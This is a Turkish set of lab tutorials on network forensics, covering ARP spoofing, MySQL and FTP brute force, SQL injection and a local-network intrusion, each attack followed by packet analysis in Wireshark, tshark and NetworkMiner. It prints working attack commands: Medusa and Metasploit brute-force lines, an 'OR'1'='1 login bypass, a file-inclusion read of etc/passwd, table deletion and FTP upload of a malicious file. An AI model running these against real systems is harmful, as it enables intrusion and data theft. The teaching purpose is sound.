DHCP Spoofing: Saldırgan DHCP sunucusu görevi alarak kendini
gateway gibi gösterip hedef bilgisayarlara IP dağıtır. Bu sayede bütün
ağ trafiği kendi üzerinden geçer.
IRDP Spoofing: ICMP Router keşif protokolü, ana makinenin
yönlendiricilerinin IP adresini keşfetmesini amaçlar. Saldırgan fake
ağdaki IRDP yönlendiricisini ana makineye göndererek varsayılan
yönlendiricisini değiştirmeyi amaçlar.
Route Mangling: Saldırgan gateway’e internetteki istemci için en iyi
route olduğunu fake paketler göndererek kandırır.
Dış Ağ Üzerinden Yapılan Saldırılar
DNS Poisoning
Route Mangling
Traffic Tunneling: Saldırganın tünel oluşturup kendisini ana ağ’a
yerleştirmesini amaçlayan bir saldırı türüdür.
MITM Saldırı Analizi
Öncelikle analiz için ben wireshark kullanacağım.
Şimdi ise ARP saldırısı yapalım.
-i(interface) kablolu internet kullandığımdan eth0 siz isterseniz
wlan0’da kullanabilirsiniz.
-t(target) ilk olarak gateway, ardından ise hedefimizin IP Adresini
yazalım ve saldırımızı başlatalım.
Artık analiz kısmına geçebiliriz.
Gördüğünüz gibi hedef ip adresimize farklı adreslerden paketler
gelmiş. IP Adreslerinin farklı olmasının sebebi ARP paketi olması.
Paketlerden birini seçip inceleyelim.
Source Port: 443 (Kaynak Port Bizim Portumuz)
Destination Port: 59223 (Hedefin Portu)
Source: 142.250.184.130 (Hedefin ip adresi)
Destination: 192.168.1.33 (Bizim ip adresimiz)
MYSQL BRUTE FORCE SALDIRI ANALİZİ
MYSQL BRUTE FORCE SALDIRI ANALİZİ
İçerik;
1.MYSQL Nedir?
2.MYSQL'e Brute Force Saldırısı
2.1.Medusa ile Brute Force Saldırısı
2.2.Metasploit ile Brute Force Saldırısı
3.Saldırının Analizi
3.1.NetworkMiner ile Analiz
3.2.Tshark ile Analiz
3.3.Wireshark ile Analiz
1.MYSQL Nedir?
1994 yılında geliştirilmeye başlanan, 23 Mayıs 1995 yılında ise ilk sürümü yayınlanan
MYSQL 6 Milyondan fazla sistemde yüklü olduğu söylenmektedir. MYSQL multi-
threaded(çoklu iş parçacıklı), multi-user(çok kullanıcılı), robust(hızlı ve sağlam) bir veri
tabanı yönetim sistemi olarak kullanıcıların hayatında yer etmiştir.Windows, Unix ve OS/2
gibi gibi sistemlerde kullanılmaktadır.
Ücretsiz sunulmakla birlikte ticari lisanslar için ücretli bir lisans seçeneği de mevcuttur.Açık
kaynak kodlu bir sistemdir.
SQL (yapılandırılmış sorgu dili) aracılığıyla kontrol edilebilir. Bağımsız bir grafik kullanıcı
ara yüzü yoktur, ancak birçok yardımcı araç bulunmaktadır(Örnek: MYSQL Workbench)
Linux altında daha hızlı olduğu söylenmektedir. Genelde Web programlama dilleri olan ASP,
PHP ile çokca kullanılır. Bu yüzden Web sunucularında en çok kullanılan veri tabanı özelliği
gösterir.
Ayrıca 2009 yılında, Oracle tarafından satın alınmıştır.
MYSQL varsayılan olarak TCP 3306 portunu kullanmaktadır.
2.MYSQL'e Brute Force Saldırısı
MYSQL servisine bir saldırı gerçekleşmesi için önceki yazımızda belirttiğimiz gibi
 SQL sunucumuza uzaktan bağlantı etkinleştirilmiş olması gerekmekte yani internete
açık olması gerekiyor. Bir diğer deyiş ile Fiziksel bağlantımız olmak zorunda ve
 1433 numaralı portumuzun open(açık) durumda olması gerekmektedir. Close veya
filtered durumda, saldırımızı gerçekleştiremeyiz.
Bu sefer farklılık olması amacıyla Brute Force saldırısını metasploit ve medusa olmak üzere 2
farklı şekilde gerçekleştireceğiz.
2.1.Medusa ile Brute Force Saldırısı
1. aşama tespit ;
Nmap ile port taraması yapalım. 3306 yani MYSQL'in çalışıtığı portun durumunu kontrol
edelim. Bunun için Nmap aracında kullanacağımız komut;
nmap -p 3306 192.168.1.3
Klasik bir tarama yaptık. Yapacağımız saldırı MYSQL üzerine olduğu için spesifik olarak
3306 numaralı portu -p parametresi kullanarak taradık ve 3306 numaralı portumuz açık,
çalışan servis ise mysql buraya kadar her şey doğru. Şimdi Brute Force atağa geçelim.
2. Aşama Saldırı
Önceki yazımızda xHydra aracını kullanmıştık. Bu sefer çeşitlilik olması açısından Brute
Force saldırısı için kullanacağımız araç Kali Linux'da default olarak gelen medusa aracıdır.
Oldukça basit ve kullanışlı bir araçtır.
İşi uzatmamak adına password'u wordlist içerisine başlara yerleştirdim. Username ise root
olarak belirtiyorum.
medusa -h 192.168.1.3 -u root -P /root/Desktop/example_layef_pass.lst -M mysql -F
Yazdığımız komut dizisini açıklıcak olursak;
-h : Hedef adresi belirttik
-u : Tekil olarak bir hedef(username) verdik. Eğer elimizde Bir
Username listesi olsaydı -U ile belirtebilirdik.
-P : Bir password listesi yolu gösterdik. Eğer tek bir pass belirtmek
istersek -p parametresini kullanmamız gerek.
-M : Parametresi ile saldırıyı yapacağımız servisin adını küçük
harflerle belirtiyoruz.
-F : Bu parametre ile username ve pass bulunduktan sonra işlemi
sonlandırır. Bu parametre verilmezse Brute Force işlemi
listedeki birimler bitesiye kadar devam eder.
Görüldüğü üzere Brute Force saldırısını gerçekleştirdik ve şifreyi elde ettik.
2.2.Metasploit ile Brute Force Saldırısı
Metasploit açıldıktan sonra kullanacağımız modülü seçiyoruz.
use auxiliary/scanner/mysql/mysql_login
bu yardımcı modül Brute Force saldırısı yaparak oturum açmamıza yardımcı olacak.
show options diyerek gireceğimiz parametreler hakkında bilgi sahibi olabiliriz.
-- set RHOSTS 192.168.1.3 (Hedef ip adresi)
-- set USERNAME root (kullanıcı adını belirttik)
-- set PASS_FILE /root/Desktop/example_layef_pass.lst (Bir pass listesi yolunu gösterdik)
ve run diyerek saldırı işlemine geçelim
Saldırımızı tamamladık ve şifreye ulaştık. Şimdi bu şifreyi kullanarak giriş yapıp, veri tabanı
üzerinde bir saldırgan gibi birkaç işlem yapalım ki trafiği incelerken bir saldırganın veri
tabanı üzerindeki işlemlerini de analiz edebilelim,
1 numaralı bölümde Brute Force ile şifresini öğrendiğimiz mysql servisine uzaktan bağlantı
yapıyoruz.
2 numaralı bölümde show databases; diyerek içerisinde bulunan veri tabanlarını
görüntüledik.
3 numaralı bölümde use tikiwiki; diyerek inceleceğimiz veri tabanı ismini seçtik.
4 numaralı bölümde show tables; ile tikiwiki içerisindeki tabloları görüntüledik.
Görüldüğü üzere tablolar arasında users_groups isminde bir tablo var. Bunun içerisinde
önemli bir bilginin olduğunu farz edelim saldırgan;
5 numaralı bölümde select * from users_groups; ile içeriğini görüntüledi, kaytıları ekrana
getirdi ve
6 numaralı bölümde drop table users_groups ile bu bilgileri sildi..
ve çıkış yaptı. Şimdi analiz bölümünde bu saldırıyı detaylı bir şekilde inceleyeceğiz..
Saldırının Analizi
Medusa aracı ile yaptığımız saldırıyı NetworkMiner ve Tshark ile analiz edelim..
3.1.NetworkMiner ile Analiz
Genel bir bakış açısı için NetworkMiner ile saldırının pcap dosyasını(saldırının kayıdını)
incelicek olursak.
3306 numaralı porta bir saldırı var bu anlaşılabiliyor, incoming sessions: 1565 kısmına
tıklayarak ya da Session veya DNS bölümünde detaylı olarak paketleri inceleyebiliriz..
Burada görebileceğimiz üzere dar zaman aralıklarında, aynı port üzerine yapılan istekler
Brute Force saldırısına kanıttır.
3.2.Tshark ile Analiz
Tshark, Wireshark'ın terminal versiyonu diyebiliriz. Temel manada analiz yapmamıza
imkan tanıcak.
NetworkMiner aracında 3306 numaralı porta yani MYSQL servisinebir saldırı yapıldığını
anlamıştık. Burada ise biraz daha özele inelim.
tshark -r /root/Desktop/mysql.bf.pcapng -c 1000 mysql.error_code == 1045
Yazdığımız komut dizisini açıklıcak olursak;
-r : dosya yolu belirttik
-c : 1000 numaralı pakete kadar olanları göster
mysql.error_code == 1045 : 1045 numaralı error code gönderenleri göster
Komut dizinini kullanarak erişim engeli yiyen yani 1045 numaralı Response code döndüren
paketleri incelemeye alabiliriz. Bunlar bize bir şifre deneme saldırısı yani Brute Force saldırısı
olduğunu kanıtlamaktadır.
Ayrıca başarılı girişi bulmak için de "mysql.response_code == 0x00" parametresi girilebilir.
Metasploit ile yaptığımız saldırıyı ise Wireshark aracı ile inceleyelim.
3.3.Wireshark ile Analiz
Diğer araçlar ile ne tür bir saldırı olduğunu tespit ettik şimdi biraz daha detaya ineceğiz.
Wireshark'ta genelden özele doğru filtreleme işlemi yapalım. İlk olarak mysql olarak
filtreleme yaparsak mysql'e yönelik tüm işlemler görüntülenebilir.
Paketlerden birini incelersek..
denenmiş olan username ve password bilgisini görebiliyoruz fakat parola hash'li biçimde..
Bilindiği üzere bir Brute Force saldırısında binlerce binlerce başarısız giriş sadece bir tane
başarılı giriş bulunur.
Bu yüzden erişim engeli yiyen yani başarısız işlemleri filtreleyeceğim.
Bunun için mysql contains "Access denied" kelimesi filtrelenebilir.
Bir paketin üzerine tıkladığımızda alt bölümdeki Error message bölümünden de anlaşılıyor.Bu
işlemin aynısını tshark üzerinden de yapmıştık. Tek fark orada error code üzerinden
filtrelemiştik aslında aynı yola çıkıyor. Aynı filtre Wireshark üzerinde de kullanabilir.
Ayrıca bu paketlerin üzerine sağ tık yapılarak Follow > TCP Stream işlemi ile de detaylara
bakılabilir.
mysql.response_code == 0x00 filtresi ile de Tshark da olduğu gibi başarılı giriş bulunup
incelenebilir.
Ayrıca mysql.query parametresi ile mysql'de sorgular yapılan paketleri filtreleyebiliriz.
Filtrelediğimiz paketler farkettiyseniz en yukardaki paketten aşşağı indikçe, saldırganın ilk
sorgusundan son sorgusuna doğru bir değişim olmaktadır. Görüldüğü gibi en üsteki 2. paket
saldırganın ilk sorgusuydu. Request Command Query > Statement kısmında sorguyu
görmekteyiz.
Bu arada yukardaki ilk paket girişte verilen versiyon bilgisi felan olması gerek ilk sorgu
olarak Wireshark bize bunu vermiş olabilir.
En alttaki sorgunun bir üstündeki paket ise saldırganın son yaptığı işlemlerden olan tablo
silme işlemi yani drop table users_groups. İşaretli bölümde görülmektedir. Onun bir
altındaki işlem ise show tables yani tabloları tekrardan görüntülemiş silme işlemi kontrol için
olabilir.
Ayrıca bu paketler Follow > TCP Stream ile daha detaylı incelenebilir.
Not: Bu sıralamanın yukarda anlattığım gibi olabilmesi için No kısmının yani paket
numaralarının işlem sırasına göre dizilmiş olması gerekmektedir.
SQL INJECTION SALDIRISI TRAFİK ANALİZİ
Merhabalar,bu konumuzdaSQLInjectionsaldırısıgerçekleşmişağtrafiğininkaydınıinceleyerek
saldırıyı yorumlayacağız.Saldırıtrafiğine aitpcapdosyasını Wiresharkaracımızda açarak paketleri
görüntüleyelim.
Pcap dosyasınıaçtığım an itibarıylahttpprotokolüüzerindeGETisteği yapılmışbirkayıt dikkatimi
çekti.Listproducts.phpsayfasınıncatparametresi üzerindeişlemyapılmış,mutlakbirsql injection
tespitişlemiolduğunuyorumlayabiliriz.İstersenizöncelikle oisteği birinceleyelim.İlgiliisteğesağtık
yapıp followhttpstreamdiyorum.
GET isteği yapıldığı,%2A yani * karakterininURLkarşılığının gönderilerekilgili parametreüzerinde sql
injectiontespiti denemesiyapıldığınıanlıyorum. User-Agentbaşlıkbilgisinde isesqlmapyazıyor,
saldırının otomatize biraraç olansqlmapile gerçekleştiğini de buradançıkarabiliriz.Birde buisteğin
dönenyanıtına bakalım.İstekyapılmışdayanıt ne dönmüş,saldırganburadanne elde etmişona
bakalım.
http Response içeriğinde websayfasındasql hatamesajınınyeraldığını görüyoruz.Yani saldırgan
burada sql injectionsaldırısınıtespitetmiş,hedefine doğrueminadımlarlailerliyor.
Şimdi saldırınındetaylarınageçmedenbenenbaşadönüpbirazfarklıdetaylaradeğineceğim, hiçbir
şeybilmiyormuşgibi devamedelim.
En başa dönüyorumve menülerdenstatistics-protocol hierarchysekmesini takipediyorum.Burası
bize ilgili ağtrafiğineaitprotokollerinpaketdetaylarınaaitayrıntıları veriyor.
Burada HTTP protokolüne odaklandımben,HTML FormURL Encodedyazan pakete sağtık yapıp
“applyas filter-selected”diyerekfiltreninuygulanarakisteğindetayınagitmekistiyorum.
Urlencoded-formadındabirfiltre uygulanarakbanabiristekgösterdi.Benbununurl encode edilmiş
bir formdatasına aitbir istekolduğunuanladım.httpStreamdiyerekbirbakalımburadaneler
dönmüş.
Burada listproducts.php?cat=3adlısayfadabirpost data gönderilmiş,budataiçerisinde birsql
sorgusuvar tabii ki.Bu isteksonucunda da200 değeri dönmüştabii amayanıt saldırganı tatminetmiş
mi tüm mevzuo.Şimdi bunubirgeçelimde şupostdata olarakgönderilensql sorgusununne
olduğunuanlamayaçalışalım.Şöyle birbakıncaurl encode edilmişbiryapıvar, içerisindescript,
cmdshell bilmemne geçiyorhiçbirşeyanlamadımaçıkçasıbenbu sorgudanbirazanlamlandırmaya
çalışacağım inşallahanlarız.İlgili sorguyukopyalayıpurl decode edelim.
and 1=1 kısmından sonrabende hatlarkarıştı, xssçalıştırma mı dersin,xp_cmdshellkomutu mu
dersin,ortayakarışık yapalımder gibi birsql sorgusugönderilmiş.Gönderilmişde,ne dönmüşmevzu
bu.Response içeriğinde birbakalım.
Tabii bu yanıt içerisindeuzuncabirhtml kodvar da benöylesinegöstermekiçinbirkısmınıçektim.
İçerisinde tatminedici hiçbirşeyyok.Birşeygönderilmişamasonuçyokyani.
Benimşuana kadar anladığım şey,buradasql sorgularıgönderilereksql injectionişlemi yapılmaya
çalışılmış.
HTTP filtresi uygulayıphttpisteklerine bakıyorum.Bunaöyle birbaktımsadece ve birazdaha spesifik
bir hale getiripsadece GETisteklerinebakayım, ki zatensql injectionsaldırısımutlakolarakburada
GET üzerindengerçekleşmişşuanakadar öyle birizlenimelde ettim.
İlgili filtreyiuyguladığımzamanbanatüm get isteklerini gösterdi.Buradazatengörüldüğügibi ilgili
sayfanıncat parametresine epeybirsql sorgusugönderilmiş.Yani bizburayaodaklanacağız.Ondan
önce bir de http üzerindeki detaylarabakmakistiyorum.Statistics-http-packetcounteryolunu
izliyorumve karşımaçıkan tabloyabakıyorum.
Bu tabloyuyorumlamakgerekirse 200ok dönen173 istekolduğunuyani başarılıistekolduğunu,1119
http isteği olduğunu,buisteklerin168 adetininGET,1 tanesininPOSTolduğunugörüyorum.GET
İsteklerine odaklanmadan şu1adetyalnız POSTisteğine bakmakistiyorum.Benbirşeytahmin
ediyorumama…
Hani az önce url encode edilmişbirdatabulmuştukya,buaslındaoyani POSTile gönderilendata.
Şimdi tekrariçeriğine bakmayalımgeçelimbunu.
Şu getisteklerine şöyle birtekrarbakalım, buradagördüğünüzgibi sorgulargönderilmişamaanlamsız
sorgular,aslındaanlamlıda şu an bize anlamsızgeliyor.Bunlaraslındaencode edilmişistekler.Bir
tanesine sağtık yapıpinceliyorum.
İlgili sorguyukopyalıyorum, tabiibunuyapmadanönce dönenyanıtadabakıyorumama tatminedici
bir şeyyok.Şimdi şusorguyubiranlamlıhale getirelim.Benbununbase64olduğunudüşünüyorumve
base64 decode edenherhangi bironline websitesinegiripdecodeediyorum.
Gördüğünüzgibi anlamlıbirşekle büründü.Böylefasafisobirsorgugönderilmiş.Burada
“INFORMATION_SCHEMA.USER_PRIVILEGES”kısmınadikkatedersekburadaaslındamysql
kullanıcısınaait yetkilertespitedilmeye çalışılmış.Bununlaalakalıreferanskaynak:
https://dev.mysql.com/doc/refman/5.6/en/information-schema-user-privileges-table.html
Şimdi budeğişiksorgulararasındakayboluyorgibiyiz,benbusorgulararasındasadece selectgeçen
sorgularılistelemekistiyorum.
Hiçbirşeydönmedi.Zatensaldırınınbütününe bakarsakhepbase64encode edilmişistekler
gönderildiğini anlıyoruz.
Sorguyubu biçimde değiştiriyorum.Orayane yazdığımagelirsek“SELECT” deyimininbase64
karşılığını paketleriçerisinde arattım.Gördüğünüzgibi başarılıbirşekildeselectgeçenisteklerbana
getirildi.Buşekildefiltreleruygulayaraksaldırıiçerisinde tespitleryapabilirsiniz.Buanalizböyle uzar
da gider.İstiyorsanızdahasade birsaldırı analizini de yapabiliriz.
Bu seferdahafarklıbir saldırının trafikkaydınabaktığımız zaman sorgularınapaçık ortada olduğunu
görebiliyoruz.
http-requestsayrıntılarınabakarsakyapılanrequestleridetaylıcagörebiliriz.
Bu ağ trafiğini çokkullanışlıolanNetworkMinerüzerindende inceleyebiliriz.
Pcap dosyasınıaçtığım zaman filessekmesinde hangi dosyalaraistekleryapıldığınınetbir şekilde
görüyorumki bu saldırı boyuncalistproducts.phpdosyasınaodaklanıldığınıgörüyorum.Buradanelde
edilenbilgiyleaslındaWiresharkdaincelememizi kolaylaştırabiliriz.
Bu şekilde sadeceurl de listproducts.phpgeçenistekleri filtreleyebiliriz.
Yine NetworkMinerüzerindeParameterssekmesi üzerindengidenisteklerde HTTPbaşlığınaait
bilgileri eldeedebiliriz.ÖrneğinX-PoweredBybaşlığındasunucununPHP/5.3sürümünüçalıştırdığını
da öğrenmişolduk.AynızamandaNginx sunucusuüzerinde çalışıyormuş.
Zatenbunlarıyine httpresponse içeriğinde görebilirdik.
Aynı zamandaNetworkMinerüzerindeyeralanengüzel kolaylıklardanbirtanesi de filessekmesinde
ilgili dosyayasağtıkyapıp OpenFile dediğimizzamantarayıcımızda sayfanınaçılması da güzel bir
olay.
Görüldüğügibi websayfasındaoan çalıştırılan isteğe aitsayfanıngörünümüyeralıyor.
Openfolderdiyerektümdosyalarıklasörde görüntüleyerekinceleyebilirsiniz.
Bu şekilde birsaldırıtrafiğininWiresharkve NetworkMinerüzerinde nasıl incelenebileceğini
uygulamalıolarakgörmüşolduk.
YEREL AĞ SIZMA TESTİ ANALİZİ
Merhabalar,şimdi birsistemüzerinde gerçekleşensibersaldırınınağ tarafındaki aktivitelerinianaliz
edereksaldırganınyaptığıişlemlerive elde ettiklerinigöreceğiz.Ağtrafiğineaitkaydedilmişpcap
kaydını açarak analizimizebaşlayalım.
Pcap dosyasınıaçtığım an karşıma birçokarp isteği geldi.Buradatümağa broadcastbir yayın
yapıldığını görebiliriz.“192.168.127.130” numaralıip adresi 192.168.127.0 subnetinde taramaişlemi
gerçekleştirmiş.Buradagördüğünüzgibi saldırganşahısaktif olansistemleritespitetmeyeçalışıyor.
Peki nelertespitetmiş?Bununiçinarppaketleri arasındareplydönenleri filtreleyelim.
Burada opcode 2 filtresiniuygulayaraktümreplydönenpaketleri filtreledik.Opcode==1uygulamış
olsakyapılantüm arp isteklerinibize verirdi.Bizimiçinreplyönemli ki buayaktaolancihazlar
anlamınagelecek.BuradaipadreslerininMACadresleriarptablosunaeklenmişoluyor.
Yani buradakısaca saldırgankişi yerel ağüzerinde haberleşebileceğibilgisayarlarıtespitetmiş.
Protokol hierarchybilgilerine gözattığımızzaman trafikte httpağırlıklı birakışın olduğunugörüyoruz.
Yani saldırgankişi webuygulamasıüzerindenhedefe yönelikişlemlergerçekleştirmiş.
http-packetcounterbilgilerine gözatarsak404 not founddönenepeybirsonuçolduğugözümüze
çarpıyor.
Yani saldırganmuhtemel olarakdizinkeşfigerçekleştirmişolabilir.Hiçnormal birdurumdeğil yoksa
bu kadar 404 sonucununolması.
http requestsbilgilerine bakarsakaslındabudüşüncemizi doğruluyor.Butarz sayfalaraistek
yapılmasıancak dizinkeşfi gerçekleştirenotomatize biraraçile sağlanabilir.
Ayrıca dikkatederseniz192.168.127.129 ip adresli sistemüzerinde buisteklergerçekleştirilmiş.
Yazının başında yoğunbir arp trafiği sonucundareplydönensistemlerdenbiriydi.Yani saldırganbu
sistemi kendine hedefolarakbelirlemiş.
Anlaşılanwebuygulamasıüzerinde işlemlergerçekleştirilmiş,ki bunuanlamaktazorolmamalıydıo
kadar httptrafiği var neticede.Bendirekthttptrafiğine odaklanmadanbirazdahaişinhikayesine
girmeye çalışacağım.Trafikdosyasınışöyle birbaştanaşağı inceliyorum.
Epeybir tcp trafikakışı gerçekleşmiş,synleruçuyor.Belirliportlarasynpaketleri gönderilmişve
gördüğünüzgibi rstack cevaplarıdönmüş.Buradanyolaçıkarsak saldırganarp istekleriile öncelikle
ağ üzerinde sistemkeşfi yapmış,kendisine hedef olarak192.168.127.129 numaralısistemi seçmişve
burada porttarama işlemi gerçekleştirerekhedefte açıkolanportlarıtespitetmiş.Buradapaket
akışına dikkatederseniz,129 numaralıip adresi hedef ipadresi,130ise saldırganınip adresi.Burada
80 portunugörmüşolmalıve webüzerindenerişipişlemlerinedevametmişolmasıgerekiyor
saldırganın.Buraya kadar bu yorumlarıyapmışolduk.Acabaaçık olanportlarne? Saldırgan neticede
port taraması yapmış.
Bu şekilde birfiltreylesyn,ackdönentümpaketleri listelemişolduk.Bununaçıklamasışu,port
tarama işlemlerinde hedef portlarasyngönderilmişve hedeftensyn+ackyanıtlarıdönmüşyani hedef
port benimle iletişimkurabilirsinsanaaçığımdiyor.Bu da saldırgankardeşimiziçinolumluoluyor.
Normalde porttarama işlemlerindeackyanıtı gönderilmezçünküiletişimkurmaniyetiyoktur,
saldırganınamacı syn+ack banagelsinportaçık olduğunuanlayayımyeterlidirolur.
Burada dikkatederseniz80ve 22 portlarındanyanıtlargelmiş.Yani saldırgan80 httpve 22 ssh
portlarınınaçık olduğunutespitetmiş.
Trafikte dikkatimiçekenbirayrıntıoluyor.22.port üzerinde üçlüel sıkışmagerçekleşmişyani burada
saldırganssh üzerindeniletişimgerçekleştirmiş.Buçokönemli birdetay,saldırganSSHservisi
üzerindenhedef sistemebağlanmışelegeçirmişolabilir.SSHbirkenardadursunfinali onunla
yapacağız gibi.Şuhttp trafiğini birinceleyelimsaldırganwebdennelerelde etmişbulmayaçalışalım.
Protokol hiyerarşisinde yeralanformisteklerinigörüntüleyeceğim.
Burada testsayfasıüzerinde postdatalargönderilmişbirinceleyelim.Ayrıca/kök dizinde de birpost
isteği gönderilmiş.Burasıanadizinoluyoryani 192.168.127.129 adresine webtarayıcısındanerişen
saldırganbir formlakarşılaşmışolduğunuanlayabiliriz.
Burada un ve ps postparametrelerine sql injectionlogin bypassişlemi gerçekleştirmekiçin‘OR’1’=’1
sorgusunugöndermişyani zafiyetvarsapanele erişimsağlamışolacak.
Sayfada“try again” mesajıalertvermiş,yani okadarkolaymı olacaksanıyorsundemekoluyor.
Buradan birşeyelde edememişanladığımızkadarıylabusayfa da başkabir postrequestde
göremedikşimditestsayfasınagidenisteklerebakalım3tane istekyapılmış.
İlgili sayfadafileadındabirpostparametresi varmışve buradafile inclusionzafiyeti olabileceğini
düşünerekgöndermişmeşhursorguyu.
Yanıt içerisinde busefertryagainyerine bildiğinizwelcome mesajıdönmüşetc/passwddosyasıiçeriği
ekranadökülmüş.Yani buradafile inclusionzafiyeti tespitetmişsaldırgan.
Devamındaise aynı zafiyettenyararlanarakc.phpadındabirdosyanıniçeriğini çekmekistemiş.
Bu sayfadaphpile mysql veritabanınabağlantıişlemi yapankodparçasıyer alıyor.Veritabanıadı,
veritabanıkullanıcısıve parolabilgileriyeralıyor.
Bir sonraki postisteğinde isegörüldüğügibi ilgili dizindenconfig.inc.phpdosyasınıniçeriğini elde
etmiş.Buradaki bilgileri nasıl kullandıkimbilirşimdi onubulmayaçalışacağız.
Gördüğünüzgibi busaldırganepeybirhttp isteği yapmıştıdeğil mi?Acabahangi sayfalarıbuldu
kontrol edelim.Ebulunansayfalar200 döndürürdeğil mi?O zaman200 dönencevaplarabakalım.
Bu şekilde filtreleyebiliriz.
Benhttp requestsequencesbilgileri ile istekyapılansayfalarıgörebilirim.Phpmysayfasıbulunmakta
bu phmyadminsayfasıdır.
Phpmyiçerenurlleri listeliyorum.BuradaGET isteği dışındabirişlemyokyani buradapost
dönmediyselogindenemesi yapılmamışdiyebiliriz.Yani busayfanınsicili temizgeçelim.
Şu /insayfasındane var acaba?
Bu sayfanınresponse içeriğindegördüğümüzgibiaslındaphpinfofonksiyonunçalıştırıldığıbirsayfa
olduğunugörüyoruz.Birsaldırganiçinnimettirburası.Buradanelde ettiği dizinyapısıbilgisi ilefile
inclusionaçığını birleştirerekconfigdosyasınıokuduğunuçıkarabiliriz.Zeki birsaldırgandiyebiliriz.
Bizdaha sonra bu sayfalarıdışarı çıkarıp içeriklerine de bakarız.Hattaşu insayfasını çıkartalım ya..
http-export-objectyoluylainsayfasınıchrome dapreview ediyorum.
Bakın /var/wwwaramasınıyaptığımda bununlaalakalısonuçlarıgörüyorum.İn.phpdosyasıdabu
dizinaltında,yani webdosyalarıburada.Saldırganbu yolukullanarakconfigdosyasınıokumuş.
Buraya kadar epeyyorumyaptıksaldırganfinali sshüzerindenyapmışolmasıgerekiyor.Dahabüyük
final olamazdı.
Güzel güzel paketakışlarıgerçekleşmiş.Peki saldırganhangi bilgilerle sshüzerinde bağlantıkurmuş
tespitedelim.Configdosyasıüzerinde user:rootpassword:roottoorbilgilerieldeedilmişti.Bu
bilgilerlesshüzerindenbağlantıkurulmuşolabilirhementeyitedelim.
Yani saldırganelde ettiği bilgilerlesshüzerindenhedef sistemebağlantıkurupişlemler
gerçekleştirmiş.Busaldırınınkısaca özeti;ağ üzerinde aktif sistemlertespitediliyor,hedef sistem
belirlenipaçıkportlartaranıyor,webuygulamasındandizinkeşfi yapılıyor,file inclusionaçığıtespit
ediliyorve elde edilenbilgilerle sshservisi üzerindenhedef sistemele geçiriliyor.
ZARARLI DOSYA TRANSFER ANALİZİ
Zararlı Dosya Transfer Analizi
Bu yazıdaki amacımız herhangi bir saldırı yöntemi ile sisteme transfer edilen bir zararlı
dosyayı tespit ve analizidir.
Senaryomuzda saldırgan kurban makinenin FTP servisine Brute Force saldırısı yapmakta ve
ardından FTP üzerinden kurban makineye zararlı dosya göndermektedir. İçeriğe gelecek
olursak;
1.Ftp Nedir?
2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır?
3.Ftp Üzerinde Saldırı İşlemleri
4.Yapılan Saldırının Analizi
1.Ftp Nedir?
File Transfer Protocol, Abhay Bushan tarafından yazılmış ilk olarak 16 Nisan 1971'de RFC
114 ismiyle piyasaya sürülmüştür. İnternete bağlı iki cihaz arasında dosya transferi yapmaya
olanak sağlar.
Varsayılan olarak 21 numaralı portu kullanmaktadır.
2.Ftp Servisine Brute Force Saldırısı Nasıl Yapılır?
Brute Force saldırısı yapmadan önce portun durumunu kontrol edelim.
nmap -p 21 <hedef>
Portumuz açık olduğuna göre Brute Force saldırısını gerçekleştirebiliriz.
medusa -h <hedef> -U <user_name_wordlist> -P <pass_wordlist> -M ftp -F
 -h ile hedef ip adresini belirledik,
 -U ile bir kullanıcı adı wordlisti belirttik,
 -P ile bir parola wordlisti belirttik,
 -M ile hedef saldırı yapacağımız servisin ismini belirttik,
 -F parametresi ile de kullanıcı adı ve parola bulduktan sonra işlemi bitirmesini
söyledik.
Şimdi Brute Force saldırısı ile elde ettiğimiz username ve şifre ile ftp servisine bağlanalım ve
saldırgan gibi birkaç işlem gerçekleştirelim...
3.Ftp Üzerinde İşlemler
İlk olarak FTP servisine bağlanalım. Bunun için yapacağımız işlem;
ftp <hedef_ip>
Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak...
220 > Hizmetin gelecek kullanıcılar için hazır olduğunu bildirmekte,
331 > Kullanıcı adının onaylandığını, parolaya ihtiyaç olduğunu belirtmekte,
230 > Oturumun açıldığını belirtmektedir.
Hedef FTP servisine bağlandığımıza göre işlemlerimize başlayalım...
Bir saldırgan kafasında davranacak olursak FTP aracılığı ile kurban makineden önemli
dosyalar çekilebilir.
FTP server üzerinden bir dosya çekmek istersek kullanacağımız komut;
get <hedef_dosya>
Burada blue_pass.txt içerisinde önemli bilgiler içirdiğini farz edelim...
Kutucuk içindeki FTP kodlarının anlamlarına bakıcak olursak...
150 > Dosya durumu tamam, veri bağlantısını açmak üzere
226 > İstenilen dosya işlemi gerçekleştirildi, veri bağlantısı kapatılıyor.
Şimdi bu dosyayı silelim..
delete <hedef_dosya>
blue_pass.txt isimli dosyayı sildik
250 > İstediğimiz dosya işlemi tamamlandı.
200 > Komut tamam.
Ardından hedef sisteme zararlı bir dosya göndermek istersek kullanacağım komut;
put <hedef_dosya>
ve ardından saldırgan çıkış yaptı. Görüldüğü üzere zararlı dosyayı hedef sisteme gönderdik
şimdi alt kısmında bu işlemleri analiz edelim...
4.Yapılan Saldırının Analizi
NetworkMiner ile saldırının kaydını incelediğimiz zaman ilk olarak gözümüze çarpan Altı
kırmızı çizgili yerde gösterdiğim üzere TCP 21 numaralı portta bir hareketlilik olduğu...
Yeşil alanda paketleri görebiliyoruz. 192.168.125.128 numaralı ip adresinden bir Brute Force
saldırısı var diyebiliriz çünkü siyah alanda gösterdiğim üzere 3 saniyede bir istek var bu da
bize bir Brute Force saldırısı olduğunu kanıtlıyor.
Ayrıca mavi kutucuk içerisinde birbiri ile iletişim halinde olan makineleri görebilirsiniz.
NetworkMiner'da Files bölümüne bakacak olursak burada blue_pass.txt isimli bir dosya
içeren bir paket gözümüze çarpıyor. Pakete sağ tık > open file diyelim.
Dosyanın içeriğini görebilmekteyiz. Hatırlarsanız saldırgan blue_pass.txt isimli dosyayı get
komutu ile kendi bilgisayarına çekip silmişti. Burada çektiği dosyayı rahatlıkla
görebilmekteyiz.
Credentials bölümüne gelince kırmızı alananda denenen usurname ve passwordları
rahatlıkla görebilmekteyiz.
en son şifre ve username bulunmuş ve saldırı sonlandırılmış.
Ayrıca Parameters bölümünde birçok parametre ile filtreleme yapılabilir. Buruda 220
numaralı FTP kodunu filtrelersek;
Görüldüğü üzere çok fazla 220 kodu dönmüş paket var. Bilindiği üzere ftp servisine
bağlanılmak istediğimizde giriş bölümünde 220 kodu yani hizmetin gelecek kullanıcılar için
hazır olduğunu bildirmekteydi. Çok fazla sayıda bu servise giriş isteğinde bulunulmuş sonucu
çıkartılabilir. Bu da Brute Force için güçlü bir kanıttır.
FTP servisine bir saldırı olduğunu biliyoruz. Kurban bilgisayarın log kayıtlarını incelemek
istersek;
